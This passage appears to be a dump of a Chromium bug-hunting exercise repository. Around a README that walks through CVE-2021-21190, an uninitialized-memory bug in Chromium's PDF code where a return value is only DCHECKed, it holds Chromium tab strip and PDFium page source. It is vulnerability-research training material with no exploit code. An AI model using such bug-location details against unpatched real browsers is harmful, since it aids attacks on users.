command_id) const; // Performs the action associated with the specified command for the given // TabStripModel index |context_index|. If |context_index| is selected the // command applies to all selected tabs. void ExecuteContextMenuCommand(int context_index, ContextMenuCommand command_id); // Adds the tab at |context_index| to the given tab group |group|. If // |context_index| is selected the command applies to all selected tabs. void ExecuteAddToExistingGroupCommand(int context_index, const tab_groups::TabGroupId& group); // Adds the tab at |context_index| to the browser window at |browser_index|. // If |context_index| is selected the command applies to all selected tabs. void ExecuteAddToExistingWindowCommand(int context_index, int browser_index); // Get the list of existing windows that tabs can be moved to. std::vector GetExistingWindowsForMoveMenu(); // Returns true if 'CommandToggleSiteMuted' will mute. |index| is the // index supplied to |ExecuteContextMenuCommand|. bool WillContextMenuMuteSites(int index); // Returns true if 'CommandTogglePinned' will pin. |index| is the index // supplied to |ExecuteContextMenuCommand|. bool WillContextMenuPin(int index); // Returns true if 'CommandToggleGrouped' will group. |index| is the index // supplied to |ExecuteContextMenuCommand|. bool WillContextMenuGroup(int index); // Convert a ContextMenuCommand into a browser command. Returns true if a // corresponding browser command exists, false otherwise. static bool ContextMenuCommandToBrowserCommand(int cmd_id, int* browser_cmd); // Access the order controller. Exposed only for unit tests. TabStripModelOrderController* order_controller() const { return order_controller_.get(); } // Returns the index of the next WebContents in the sequence of WebContentses // spawned by the specified WebContents after |start_index|. int GetIndexOfNextWebContentsOpenedBy(const content::WebContents* opener, int start_index) const; // Finds the next available tab to switch to as the active tab starting at // |index|. This method will check the indices to the right of |index| before // checking the indices to the left of |index|. |index| cannot be returned. // |collapsing_group| is optional and used in cases where the group is // collapsing but not yet reflected in the model. Returns base::nullopt if // there are no valid tabs. base::Optional GetNextExpandedActiveTab( int index, base::Optional collapsing_group) const; // Forget all opener relationships, to reduce unpredictable tab switching // behavior in complex session states. The exact circumstances under which // this method is called are left up to TabStripModelOrderController. void ForgetAllOpeners(); // Forgets the opener relationship of the specified WebContents. void ForgetOpener(content::WebContents* contents); // Returns true if the opener relationships present for |contents| should be // reset when _any_ active tab change occurs (rather than just one outside the // current tree of openers). bool ShouldResetOpenerOnActiveTabChange(content::WebContents* contents) const; private: FRIEND_TEST_ALL_PREFIXES(TabStripModelTest, GetIndicesClosedByCommand); class WebContentsData; struct DetachedWebContents; struct DetachNotifications; // Performs all the work to detach a WebContents instance but avoids sending // most notifications. TabClosingAt() and TabDetachedAt() are sent because // observers are reliant on the selection model being accurate at the time // that TabDetachedAt() is called. std::unique_ptr DetachWebContentsImpl( int index, bool create_historical_tab); // We batch send notifications. This has two benefits: // 1) This allows us to send the minimal number of necessary notifications. // This is important because some notifications cause the main thread to // synchronously communicate with the GPU process and cause jank. // https://crbug.com/826287. // 2) This allows us to avoid some problems caused by re-entrancy [e.g. // using destroyed WebContents instances]. Ideally, this second check // wouldn't be necessary because we would enforce that there is no // re-entrancy in the TabStripModel, but that condition is currently // violated in tests [and possibly in the wild as well]. void SendDetachWebContentsNotifications(DetachNotifications* notifications); bool RunUnloadListenerBeforeClosing(content::WebContents* contents); bool ShouldRunUnloadListenerBeforeClosing(content::WebContents* contents); int ConstrainInsertionIndex(int index, bool pinned_tab) const; int ConstrainMoveIndex(int index, bool pinned_tab) const; // If |index| is selected all the selected indices are returned, otherwise a // vector with |index| is returned. This is used when executing commands to // determine which indices the command applies to. Indices are sorted in // increasing order. std::vector GetIndicesForCommand(int index) const; // Returns a vector of indices of the tabs that will close when executing the // command |id| for the tab at |index|. The returned indices are sorted in // descending order. std::vector GetIndicesClosedByCommand(int index, ContextMenuCommand id) const; // Returns true if the specified WebContents is a New Tab at the end of // the tabstrip. We check for this because opener relationships are _not_ // forgotten for the New Tab page opened as a result of a New Tab gesture // (e.g. Ctrl+T, etc) since the user may open a tab transiently to look up // something related to their current activity. bool IsNewTabAtEndOfTabStrip(content::WebContents* contents) const; // Adds the specified WebContents at the specified location. // |add_types| is a bitmask of AddTabTypes; see it for details. // // All append/insert methods end up in this method. // // NOTE: adding a tab using this method does NOT query the order controller, // as such the ADD_FORCE_INDEX AddTabTypes is meaningless here. The only time // the |index| is changed is if using the index would result in breaking the // constraint that all pinned tabs occur before non-pinned tabs. It returns // the index the web contents is actually inserted to. See also // AddWebContents. int InsertWebContentsAtImpl(int index, std::unique_ptr contents, int add_types, base::Optional group); // Closes the WebContentses at the specified indices. This causes the // WebContentses to be destroyed, but it may not happen immediately. If // the page in question has an unload event the WebContents will not be // destroyed until after the event has completed, which will then call back // into this method. // // Returns true if the WebContentses were closed immediately, false if we // are waiting for the result of an onunload handler. bool InternalCloseTabs(base::span items, uint32_t close_types); // |close_types| is a bitmask of the types in CloseTypes. // Returns true if all the tabs have been deleted. A return value of false // means some portion (potentially none) of the WebContents were deleted. // WebContents not deleted by this function are processing unload handlers // which may eventually be deleted based on the results of the unload handler. // Additionally processing the unload handlers may result in needing to show // UI for the WebContents. See UnloadController for details on how unload // handlers are processed. bool CloseWebContentses(base::span items, uint32_t close_types, DetachNotifications* notifications); // Gets the WebContents at an index. Does no bounds checking. content::WebContents* GetWebContentsAtImpl(int index) const; // Returns the WebContentses at the specified indices. This does no checking // of the indices, it is assumed they are valid. std::vector GetWebContentsesByIndices( const std::vector& indices); // Sets the selection to |new_model| and notifies any observers. // Note: This function might end up sending 0 to 3 notifications in the // following order: TabDeactivated, ActiveTabChanged, TabSelectionChanged. // |selection| will be filled with information corresponding to 3 notification // above. When it's |triggered_by_other_operation|, This won't notify // observers that selection was changed. Callers should notify it by // themselves. TabStripSelectionChange SetSelection( ui::ListSelectionModel new_model, TabStripModelObserver::ChangeReason reason, bool triggered_by_other_operation); // Selects either the next tab (|forward| is true), or the previous tab // (|forward| is false). void SelectRelativeTab(bool forward, UserGestureDetails detail); // Moves the active tabs into the next slot (|forward| is true), or the // previous slot (|forward| is false). Respects group boundaries and creates // movement slots into and out of groups. void MoveTabRelative(bool forward); // Does the work of MoveWebContentsAt. This has no checks to make sure the // position is valid, those are done in MoveWebContentsAt. void MoveWebContentsAtImpl(int index, int to_position, bool select_after_move); // Implementation of MoveSelectedTabsTo. Moves |length| of the selected tabs // starting at |start| to |index|. See MoveSelectedTabsTo for more details. void MoveSelectedTabsToImpl(int index, size_t start, size_t length); // Adds tabs to newly-allocated group id |new_group|. This group must be new // and have no tabs in it. void AddToNewGroupImpl(const std::vector& indices, const tab_groups::TabGroupId& new_group); // Adds tabs to existing group |group|. This group must have been initialized // by a previous call to |AddToNewGroupImpl()|. void AddToExistingGroupImpl(const std::vector& indices, const tab_groups::TabGroupId& group); // Implementation of MoveTabsAndSetGroupImpl. Moves the set of tabs in // |indices| to the |destination_index| and updates the tabs to the // appropriate |group|. void MoveTabsAndSetGroupImpl(const std::vector& indices, int destination_index, base::Optional group); // Moves the tab at |index| to |new_index| and sets its group to |new_group|. // Notifies any observers that group affiliation has changed for the tab. void MoveAndSetGroup(int index, int new_index, base::Optional new_group); void AddToReadLaterImpl(const std::vector& indices); // Helper function for MoveAndSetGroup. Removes the tab at |index| from the // group that contains it, if any. Also deletes that group, if it now contains // no tabs. Returns that group. base::Optional UngroupTab(int index); // Helper function for MoveAndSetGroup. Adds the tab at |index| to |group|. void GroupTab(int index, const tab_groups::TabGroupId& group); // Changes the pinned state of the tab at |index|. void SetTabPinnedImpl(int index, bool pinned); // Ensures all tabs indicated by |indices| are pinned, moving them in the // process if necessary. Returns the new locations of all of those tabs. std::vector SetTabsPinned(const std::vector& indices, bool pinned); // Sets the sound content setting for each site at the |indices|. void SetSitesMuted(const std::vector& indices, bool mute) const; // Sets the opener of any tabs that reference the tab at |index| to that tab's // opener or null if there's a cycle. void FixOpeners(int index); // Makes sure the tab at |index| is not causing a group contiguity error. Will // make the minimum change to ensure that the tab's group is not non- // contiguous as well as ensuring that it is not breaking up a non-contiguous // group, possibly by setting or clearing its group. void EnsureGroupContiguity(int index); // The WebContents data currently hosted within this TabStripModel. This must // be kept in sync with |selection_model_|. std::vector> contents_data_; // The model for tab groups hosted within this TabStripModel. std::unique_ptr group_model_; TabStripModelDelegate* delegate_; bool tab_strip_ui_was_set_ = false; base::ObserverList::Unchecked observers_; // A profile associated with this TabStripModel. Profile* profile_; // True if all tabs are currently being closed via CloseAllTabs. bool closing_all_ = false; // An object that determines where new Tabs should be inserted and where // selection should move when a Tab is closed. std::unique_ptr order_controller_; // This must be kept in sync with |contents_data_|. ui::ListSelectionModel selection_model_; // TabStripModel is not re-entrancy safe. This member is used to guard public // methods that mutate state of |selection_model_| or |contents_data_|. bool reentrancy_guard_ = false; // A recorder for recording tab switching input latency to UMA TabSwitchEventLatencyRecorder tab_switch_event_latency_recorder_; // Timer used to mark intervals for metric collection on how many tabs are // scrubbed over a certain interval of time. base::RepeatingTimer tab_scrubbing_interval_timer_; // Timestamp marking the last time a tab was activated by mouse press. This is // used in determining how long a tab was active for metrics. base::TimeTicks last_tab_switch_timestamp_ = base::TimeTicks(); // Counter used to keep track of tab scrubs during intervals set by // |tab_scrubbing_interval_timer_|. size_t tabs_scrubbed_by_mouse_press_count_ = 0; // Counter used to keep track of tab scrubs during intervals set by // |tab_scrubbing_interval_timer_|. size_t tabs_scrubbed_by_key_press_count_ = 0; base::WeakPtrFactory weak_factory_{this}; DISALLOW_IMPLICIT_CONSTRUCTORS(TabStripModel); }; // Forbid construction of ScopedObserver with TabStripModel: // TabStripModelObserver already implements ScopedObserver's functionality // natively. template <> class ScopedObserver { public: // Deleting the constructor gives a clear error message traceable back to here. explicit ScopedObserver(TabStripModelObserver* observer) = delete; }; #endif // CHROME_BROWSER_UI_TABS_TAB_STRIP_MODEL_H_ ================================================ FILE: LEVEL_2/exercise_6/README.md ================================================ # Exercise 6 In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details. ## CVE-2021-21190 I sugget you don't search any report about it to prevents get too much info like patch. ### Details In level 2, we do it without the help of Details ---------
For more info click me! But you'd better not do this https://bugs.chromium.org/p/chromium/issues/detail?id=1166091
-------- ### Set environment after you fetch chromium ```sh git reset --hard 53913f6b138c7b0cd9771c1b6ab82a143996ef9e ``` ### Related code pdf/pdfium/pdfium_page.cc ### Do it Do this exercise by yourself, If you find my answer have something wrong, please correct it. ---------
My answer ```c++ // Function: FPDF_PageToDevice // Convert the page coordinates of a point to screen coordinates. // Parameters: // page - Handle to the page. Returned by FPDF_LoadPage. // start_x - Left pixel position of the display area in // device coordinates. // start_y - Top pixel position of the display area in device // coordinates. // size_x - Horizontal size (in pixels) for displaying the page. // size_y - Vertical size (in pixels) for displaying the page. // rotate - Page orientation: // 0 (normal) // 1 (rotated 90 degrees clockwise) // 2 (rotated 180 degrees) // 3 (rotated 90 degrees counter-clockwise) // page_x - X value in page coordinates. // page_y - Y value in page coordinate. // device_x - A pointer to an integer receiving the result X // value in device coordinates. // device_y - A pointer to an integer receiving the result Y // value in device coordinates. // Return value: // Returns true if the conversion succeeds, and |device_x| and // |device_y| successfully receives the converted coordinates. // Comments: // See comments for FPDF_DeviceToPage(). FPDF_EXPORT FPDF_BOOL FPDF_CALLCONV FPDF_PageToDevice(FPDF_PAGE page, int start_x, int start_y, int size_x, int size_y, int rotate, double page_x, double page_y, int* device_x, int* device_y) { if (!page || !device_x || !device_y) return false; IPDF_Page* pPage = IPDFPageFromFPDFPage(page); const FX_RECT rect(start_x, start_y, start_x + size_x, start_y + size_y); CFX_PointF page_point(static_cast(page_x), static_cast(page_y)); absl::optional pos = pPage->PageToDevice(rect, rotate, page_point); if (!pos.has_value()) return false; *device_x = FXSYS_roundf(pos->x); *device_y = FXSYS_roundf(pos->y); return true; } ``` This cve reward 500, but the same issue exists in many places. ```c++ gfx::Rect PDFiumPage::PageToScreen(const gfx::Point& page_point, double zoom, double left, double top, double right, double bottom, PageOrientation orientation) const { if (!available_) return gfx::Rect(); [ ... ] FPDF_BOOL ret = FPDF_PageToDevice( page(), static_cast(start_x), static_cast(start_y), static_cast(ceil(size_x)), static_cast(ceil(size_y)), ToPDFiumRotation(orientation), left, top, &new_left, &new_top); DCHECK(ret); ret = FPDF_PageToDevice( page(), static_cast(start_x), static_cast(start_y), static_cast(ceil(size_x)), static_cast(ceil(size_y)), ToPDFiumRotation(orientation), right, bottom, &new_right, &new_bottom); DCHECK(ret); [1] [ ... ] } ``` [1] `FPDF_PageToDevice` return false if `pos` memory uninitialized. > DCHECK() here isn't sufficient to prevent the use of uninitialized > memory should this someday return false. The purpose of using this cve is to remind everyone that if the return value means important, we must CHECK it not just DCHECK. For example, if there is func check whether the `var` has been initialize, return true or false. But we DCHECK the return value, it cause that if the `var` is uninitialized, we cann't prevent to use it in release build.
-------- ================================================ FILE: LEVEL_2/exercise_6/pdfium_page.cc ================================================ // Copyright (c) 2010 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "pdf/pdfium/pdfium_page.h" #include #include #include #include #include #include "base/bind.h" #include "base/callback.h" #include "base/check_op.h" #include "base/metrics/histogram_functions.h" #include "base/notreached.h" #include "base/numerics/math_constants.h" #include "base/numerics/safe_math.h" #include "base/strings/string_number_conversions.h" #include "base/strings/string_util.h" #include "base/strings/utf_string_conversions.h" #include "pdf/accessibility_structs.h" #include "pdf/pdfium/pdfium_api_string_buffer_adapter.h" #include "pdf/pdfium/pdfium_engine.h" #include "pdf/pdfium/pdfium_unsupported_features.h" #include "pdf/ppapi_migration/geometry_conversions.h" #include "pdf/thumbnail.h" #include "ppapi/c/private/ppb_pdf.h" #include "printing/units.h" #include "third_party/pdfium/public/cpp/fpdf_scopers.h" #include "third_party/pdfium/public/fpdf_annot.h" #include "third_party/pdfium/public/fpdf_catalog.h" #include "third_party/skia/include/core/SkBitmap.h" #include "ui/gfx/geometry/point.h" #include "ui/gfx/geometry/point_f.h" #include "ui/gfx/geometry/rect.h" #include "ui/gfx/geometry/rect_f.h" #include "ui/gfx/geometry/size_f.h" #include "ui/gfx/geometry/vector2d.h" #include "ui/gfx/geometry/vector2d_f.h" #include "ui/gfx/range/range.h" using printing::ConvertUnitDouble; using printing::kPixelsPerInch; using printing::kPointsPerInch; namespace chrome_pdf { namespace { constexpr float k45DegreesInRadians = base::kPiFloat / 4; constexpr float k90DegreesInRadians = base::kPiFloat / 2; constexpr float k180DegreesInRadians = base::kPiFloat; constexpr float k270DegreesInRadians = 3 * base::kPiFloat / 2; constexpr float k360DegreesInRadians = 2 * base::kPiFloat; gfx::RectF FloatPageRectToPixelRect(FPDF_PAGE page, const gfx::RectF& input) { int output_width = FPDF_GetPageWidthF(page); int output_height = FPDF_GetPageHeightF(page); int min_x; int min_y; int max_x; int max_y; if (!FPDF_PageToDevice(page, 0, 0, output_width, output_height, 0, input.x(), input.y(), &min_x, &min_y)) { return gfx::RectF(); } if (!FPDF_PageToDevice(page, 0, 0, output_width, output_height, 0, input.right(), input.bottom(), &max_x, &max_y)) { return gfx::RectF(); } if (max_x < min_x) std::swap(min_x, max_x); if (max_y < min_y) std::swap(min_y, max_y); // Make sure small but non-zero dimensions for |input| does not get rounded // down to 0. int width = max_x - min_x; int height = max_y - min_y; if (width == 0 && input.width()) width = 1; if (height == 0 && input.height()) height = 1; gfx::RectF output_rect( ConvertUnitDouble(min_x, kPointsPerInch, kPixelsPerInch), ConvertUnitDouble(min_y, kPointsPerInch, kPixelsPerInch), ConvertUnitDouble(width, kPointsPerInch, kPixelsPerInch), ConvertUnitDouble(height, kPointsPerInch, kPixelsPerInch)); return output_rect; } gfx::RectF GetFloatCharRectInPixels(FPDF_PAGE page, FPDF_TEXTPAGE text_page, int index) { double left; double right; double bottom; double top; if (!FPDFText_GetCharBox(text_page, index, &left, &right, &bottom, &top)) return gfx::RectF(); if (right < left) std::swap(left, right); if (bottom < top) std::swap(top, bottom); gfx::RectF page_coords(left, top, right - left, bottom - top); return FloatPageRectToPixelRect(page, page_coords); } int GetFirstNonUnicodeWhiteSpaceCharIndex(FPDF_TEXTPAGE text_page, int start_char_index, int chars_count) { int i = start_char_index; while (i < chars_count && base::IsUnicodeWhitespace(FPDFText_GetUnicode(text_page, i))) { i++; } return i; } AccessibilityTextDirection GetDirectionFromAngle(float angle) { // Rotating the angle by 45 degrees to simplify the conditions statements. // It's like if we rotated the whole cartesian coordinate system like below. // X X // X IV X // X X // X X // X X // III X I // X X // X X // X X // X II X // X X angle = fmodf(angle + k45DegreesInRadians, k360DegreesInRadians); // Quadrant I. if (angle >= 0 && angle <= k90DegreesInRadians) return AccessibilityTextDirection::kLeftToRight; // Quadrant II. if (angle > k90DegreesInRadians && angle <= k180DegreesInRadians) return AccessibilityTextDirection::kTopToBottom; // Quadrant III. if (angle > k180DegreesInRadians && angle <= k270DegreesInRadians) return AccessibilityTextDirection::kRightToLeft; // Quadrant IV. return AccessibilityTextDirection::kBottomToTop; } void AddCharSizeToAverageCharSize(gfx::SizeF new_size, gfx::SizeF* avg_size, int* count) { // Some characters sometimes have a bogus empty bounding box. We don't want // them to impact the average. if (!new_size.IsEmpty()) { avg_size->set_width((avg_size->width() * *count + new_size.width()) / (*count + 1)); avg_size->set_height((avg_size->height() * *count + new_size.height()) / (*count + 1)); (*count)++; } } float GetRotatedCharWidth(float angle, const gfx::SizeF& size) { return fabsf(cosf(angle) * size.width()) + fabsf(sinf(angle) * size.height()); } float GetAngleOfVector(const gfx::Vector2dF& v) { float angle = atan2f(v.y(), v.x()); if (angle < 0) angle += k360DegreesInRadians; return angle; } float GetAngleDifference(float a, float b) { // This is either the difference or (360 - difference). float x = fmodf(fabsf(b - a), k360DegreesInRadians); return x > k180DegreesInRadians ? k360DegreesInRadians - x : x; } bool FloatEquals(float f1, float f2) { // The idea behind this is to use this fraction of the larger of the // two numbers as the limit of the difference. This breaks down near // zero, so we reuse this as the minimum absolute size we will use // for the base of the scale too. static constexpr float kEpsilonScale = 0.00001f; return fabsf(f1 - f2) < kEpsilonScale * fmaxf(fmaxf(fabsf(f1), fabsf(f2)), kEpsilonScale); } // Count overlaps across text annotations. template uint32_t CountOverlaps(const std::vector& first_set, const std::vector& second_set) { // This method assumes vectors passed are sorted by |start_char_index|. uint32_t overlaps = 0; // Count overlaps between |first_set| and |second_set|. for (const auto& first_set_object : first_set) { gfx::Range first_range( first_set_object.start_char_index, first_set_object.start_char_index + first_set_object.char_count); for (const auto& second_set_object : second_set) { gfx::Range second_range( second_set_object.start_char_index, second_set_object.start_char_index + second_set_object.char_count); if (first_range.Intersects(second_range)) { overlaps++; } else if (first_range.start() < second_range.start()) { // Both range vectors are sorted by |start_char_index|. In case they // don't overlap, and the |second_range| starts after the |first_range|, // then all successive |second_set_object| will not overlap with // |first_range|. break; } } } return overlaps; } // Count overlaps within text annotations. template uint32_t CountInternalTextOverlaps(const std::vector& text_objects) { // This method assumes text_objects is sorted by |start_char_index|. uint32_t overlaps = 0; for (size_t i = 0; i < text_objects.size(); ++i) { gfx::Range range1( text_objects[i].start_char_index, text_objects[i].start_char_index + text_objects[i].char_count); for (size_t j = i + 1; j < text_objects.size(); ++j) { DCHECK_GE(text_objects[j].start_char_index, text_objects[i].start_char_index); gfx::Range range2( text_objects[j].start_char_index, text_objects[j].start_char_index + text_objects[j].char_count); if (range1.Intersects(range2)) { overlaps++; } else { // The input is sorted by |start_char_index|. In case |range1| and // |range2| do not overlap, and |range2| starts after |range1|, then // successive ranges in the inner loop will also not overlap with // |range1|. break; } } } return overlaps; } bool IsRadioButtonOrCheckBox(int button_type) { return button_type == FPDF_FORMFIELD_CHECKBOX || button_type == FPDF_FORMFIELD_RADIOBUTTON; } } // namespace PDFiumPage::LinkTarget::LinkTarget() : page(-1) {} PDFiumPage::LinkTarget::LinkTarget(const LinkTarget& other) = default; PDFiumPage::LinkTarget::~LinkTarget() = default; PDFiumPage::PDFiumPage(PDFiumEngine* engine, int i) : engine_(engine), index_(i), available_(false) {} PDFiumPage::PDFiumPage(PDFiumPage&& that) = default; PDFiumPage::~PDFiumPage() { DCHECK_EQ(0, preventing_unload_count_); } void PDFiumPage::Unload() { // Do not unload while in the middle of a load. if (preventing_unload_count_) return; text_page_.reset(); if (page_) { if (engine_->form()) { FORM_OnBeforeClosePage(page(), engine_->form()); } page_.reset(); } } FPDF_PAGE PDFiumPage::GetPage() { ScopedUnsupportedFeature scoped_unsupported_feature(engine_); if (!available_) return nullptr; if (!page_) { ScopedUnloadPreventer scoped_unload_preventer(this); page_.reset(FPDF_LoadPage(engine_->doc(), index_)); if (page_ && engine_->form()) { FORM_OnAfterLoadPage(page(), engine_->form()); } } return page(); } FPDF_TEXTPAGE PDFiumPage::GetTextPage() { if (!available_) return nullptr; if (!text_page_) { ScopedUnloadPreventer scoped_unload_preventer(this); text_page_.reset(FPDFText_LoadPage(GetPage())); } return text_page(); } void PDFiumPage::CalculatePageObjectTextRunBreaks() { if (calculated_page_object_text_run_breaks_) return; calculated_page_object_text_run_breaks_ = true; int chars_count = FPDFText_CountChars(GetTextPage()); if (chars_count == 0) return; CalculateLinks(); for (const auto& link : links_) { if (link.start_char_index >= 0 && link.start_char_index < chars_count) { page_object_text_run_breaks_.insert(link.start_char_index); int next_text_run_break_index = link.start_char_index + link.char_count; // Don't insert a break if the link is at the end of the page text. if (next_text_run_break_index < chars_count) { page_object_text_run_breaks_.insert(next_text_run_break_index); } } } PopulateAnnotations(); for (const auto& highlight : highlights_) { if (highlight.start_char_index >= 0 && highlight.start_char_index < chars_count) { page_object_text_run_breaks_.insert(highlight.start_char_index); int next_text_run_break_index = highlight.start_char_index + highlight.char_count; // Don't insert a break if the highlight is at the end of the page text. if (next_text_run_break_index < chars_count) { page_object_text_run_breaks_.insert(next_text_run_break_index); } } } } void PDFiumPage::CalculateTextRunStyleInfo( int char_index, AccessibilityTextStyleInfo& style_info) { FPDF_TEXTPAGE text_page = GetTextPage(); style_info.font_size = FPDFText_GetFontSize(text_page, char_index); int flags = 0; size_t buffer_size = FPDFText_GetFontInfo(text_page, char_index, nullptr, 0, &flags); if (buffer_size > 0) { PDFiumAPIStringBufferAdapter api_string_adapter( &style_info.font_name, buffer_size, true); void* data = api_string_adapter.GetData(); size_t bytes_written = FPDFText_GetFontInfo(text_page, char_index, data, buffer_size, nullptr); // Trim the null character. api_string_adapter.Close(bytes_written); } style_info.font_weight = FPDFText_GetFontWeight(text_page, char_index); // As defined in PDF 1.7 table 5.20. constexpr int kFlagItalic = (1 << 6); // Bold text is considered bold when greater than or equal to 700. constexpr int kStandardBoldValue = 700; style_info.is_italic = (flags & kFlagItalic); style_info.is_bold = style_info.font_weight >= kStandardBoldValue; unsigned int fill_r; unsigned int fill_g; unsigned int fill_b; unsigned int fill_a; if (FPDFText_GetFillColor(text_page, char_index, &fill_r, &fill_g, &fill_b, &fill_a)) { style_info.fill_color = MakeARGB(fill_a, fill_r, fill_g, fill_b); } else { style_info.fill_color = MakeARGB(0xff, 0, 0, 0); } unsigned int stroke_r; unsigned int stroke_g; unsigned int stroke_b; unsigned int stroke_a; if (FPDFText_GetStrokeColor(text_page, char_index, &stroke_r, &stroke_g, &stroke_b, &stroke_a)) { style_info.stroke_color = MakeARGB(stroke_a, stroke_r, stroke_g, stroke_b); } else { style_info.stroke_color = MakeARGB(0xff, 0, 0, 0); } int render_mode = FPDFText_GetTextRenderMode(text_page, char_index); DCHECK_GE(render_mode, static_cast(AccessibilityTextRenderMode::kUnknown)); DCHECK_LE(render_mode, static_cast(AccessibilityTextRenderMode::kMaxValue)); style_info.render_mode = static_cast(render_mode); } bool PDFiumPage::AreTextStyleEqual(int char_index, const AccessibilityTextStyleInfo& style) { AccessibilityTextStyleInfo char_style; CalculateTextRunStyleInfo(char_index, char_style); return char_style.font_name == style.font_name && char_style.font_weight == style.font_weight && char_style.render_mode == style.render_mode && FloatEquals(char_style.font_size, style.font_size) && char_style.fill_color == style.fill_color && char_style.stroke_color == style.stroke_color && char_style.is_italic == style.is_italic && char_style.is_bold == style.is_bold; } void PDFiumPage::LogOverlappingAnnotations() { if (logged_overlapping_annotations_) return; logged_overlapping_annotations_ = true; DCHECK(calculated_page_object_text_run_breaks_); std::vector links = links_; std::sort(links.begin(), links.end(), [](const Link& a, const Link& b) { return a.start_char_index < b.start_char_index; }); uint32_t overlap_count = CountLinkHighlightOverlaps(links, highlights_); // We log this overlap count per page of the PDF. Typically we expect only a // few overlaps because intersecting links/highlights are not that common. base::UmaHistogramCustomCounts("PDF.LinkHighlightOverlapsInPage", overlap_count, 1, 100, 50); } base::Optional PDFiumPage::GetTextRunInfo( int start_char_index) { FPDF_PAGE page = GetPage(); FPDF_TEXTPAGE text_page = GetTextPage(); int chars_count = FPDFText_CountChars(text_page); // Check to make sure |start_char_index| is within bounds. if (start_char_index < 0 || start_char_index >= chars_count) return base::nullopt; int actual_start_char_index = GetFirstNonUnicodeWhiteSpaceCharIndex( text_page, start_char_index, chars_count); // Check to see if GetFirstNonUnicodeWhiteSpaceCharIndex() iterated through // all the characters. if (actual_start_char_index >= chars_count) { // If so, |info.len| needs to take the number of characters // iterated into account. DCHECK_GT(actual_start_char_index, start_char_index); AccessibilityTextRunInfo info; info.len = chars_count - start_char_index; return info; } // If the first character in a text run is a space, we need to start // |text_run_bounds| from the space character instead of the first // non-space unicode character. gfx::RectF text_run_bounds = actual_start_char_index > start_char_index ? GetFloatCharRectInPixels(page, text_page, start_char_index) : gfx::RectF(); // Pdfium trims more than 1 consecutive spaces to 1 space. DCHECK_LE(actual_start_char_index - start_char_index, 1); int char_index = actual_start_char_index; // Set text run's style info from the first character of the text run. AccessibilityTextRunInfo info; CalculateTextRunStyleInfo(char_index, info.style); gfx::RectF start_char_rect = GetFloatCharRectInPixels(page, text_page, char_index); float text_run_font_size = info.style.font_size; // Heuristic: Initialize the average character size to one-third of the font // size to avoid having the first few characters misrepresent the average. // Without it, if a text run starts with a '.', its small bounding box could // lead to a break in the text run after only one space. Ex: ". Hello World" // would be split in two runs: "." and "Hello World". double font_size_minimum = FPDFText_GetFontSize(text_page, char_index) / 3.0; gfx::SizeF avg_char_size(font_size_minimum, font_size_minimum); int non_whitespace_chars_count = 1; AddCharSizeToAverageCharSize(start_char_rect.size(), &avg_char_size, &non_whitespace_chars_count); // Add first non-space char to text run. text_run_bounds.Union(start_char_rect); AccessibilityTextDirection char_direction = GetDirectionFromAngle(FPDFText_GetCharAngle(text_page, char_index)); if (char_index < chars_count) char_index++; gfx::RectF prev_char_rect = start_char_rect; float estimated_font_size = std::max(start_char_rect.width(), start_char_rect.height()); // The angle of the vector starting at the first character center-point and // ending at the current last character center-point. float text_run_angle = 0; CalculatePageObjectTextRunBreaks(); const auto breakpoint_iter = std::lower_bound(page_object_text_run_breaks_.begin(), page_object_text_run_breaks_.end(), char_index); int breakpoint_index = breakpoint_iter != page_object_text_run_breaks_.end() ? *breakpoint_iter : -1; // Continue adding characters until heuristics indicate we should end the text // run. while (char_index < chars_count) { // Split a text run when it encounters a page object like links or images. if (char_index == breakpoint_index) break; unsigned int character = FPDFText_GetUnicode(text_page, char_index); gfx::RectF char_rect = GetFloatCharRectInPixels(page, text_page, char_index); if (!base::IsUnicodeWhitespace(character)) { // Heuristic: End the text run if the text style of the current character // is different from the text run's style. if (!AreTextStyleEqual(char_index, info.style)) break; // Heuristic: End text run if character isn't going in the same direction. if (char_direction != GetDirectionFromAngle(FPDFText_GetCharAngle(text_page, char_index))) break; // Heuristic: End the text run if the difference between the text run // angle and the angle between the center-points of the previous and // current characters is greater than 90 degrees. float current_angle = GetAngleOfVector(char_rect.CenterPoint() - prev_char_rect.CenterPoint()); if (start_char_rect != prev_char_rect) { text_run_angle = GetAngleOfVector(prev_char_rect.CenterPoint() - start_char_rect.CenterPoint()); if (GetAngleDifference(text_run_angle, current_angle) > k90DegreesInRadians) { break; } } // Heuristic: End the text run if the center-point distance to the // previous character is less than 2.5x the average character size. AddCharSizeToAverageCharSize(char_rect.size(), &avg_char_size, &non_whitespace_chars_count); float avg_char_width = GetRotatedCharWidth(current_angle, avg_char_size); float distance = (char_rect.CenterPoint() - prev_char_rect.CenterPoint()).Length() - GetRotatedCharWidth(current_angle, char_rect.size()) / 2 - GetRotatedCharWidth(current_angle, prev_char_rect.size()) / 2; if (distance > 2.5f * avg_char_width) break; text_run_bounds.Union(char_rect); prev_char_rect = char_rect; } if (!char_rect.IsEmpty()) { // Update the estimated font size if needed. float char_largest_side = std::max(char_rect.height(), char_rect.width()); estimated_font_size = std::max(char_largest_side, estimated_font_size); } char_index++; } // Some PDFs have missing or obviously bogus font sizes; substitute the // font size by the width or height (whichever's the largest) of the bigger // character in the current text run. if (text_run_font_size <= 1 || text_run_font_size < estimated_font_size / 2 || text_run_font_size > estimated_font_size * 2) { text_run_font_size = estimated_font_size; } info.len = char_index - start_char_index; info.style.font_size = text_run_font_size; info.bounds = text_run_bounds; // Infer text direction from first and last character of the text run. We // can't base our decision on the character direction, since a character of a // RTL language will have an angle of 0 when not rotated, just like a // character in a LTR language. info.direction = char_index - actual_start_char_index > 1 ? GetDirectionFromAngle(text_run_angle) : AccessibilityTextDirection::kNone; return info; } uint32_t PDFiumPage::GetCharUnicode(int char_index) { FPDF_TEXTPAGE text_page = GetTextPage(); return FPDFText_GetUnicode(text_page, char_index); } gfx::RectF PDFiumPage::GetCharBounds(int char_index) { FPDF_PAGE page = GetPage(); FPDF_TEXTPAGE text_page = GetTextPage(); return GetFloatCharRectInPixels(page, text_page, char_index); } std::vector PDFiumPage::GetLinkInfo() { std::vector link_info; if (!available_) return link_info; CalculateLinks(); link_info.reserve(links_.size()); for (const Link& link : links_) { PDFEngine::AccessibilityLinkInfo cur_info; cur_info.url = link.target.url; cur_info.start_char_index = link.start_char_index; cur_info.char_count = link.char_count; gfx::Rect link_rect; for (const auto& rect : link.bounding_rects) 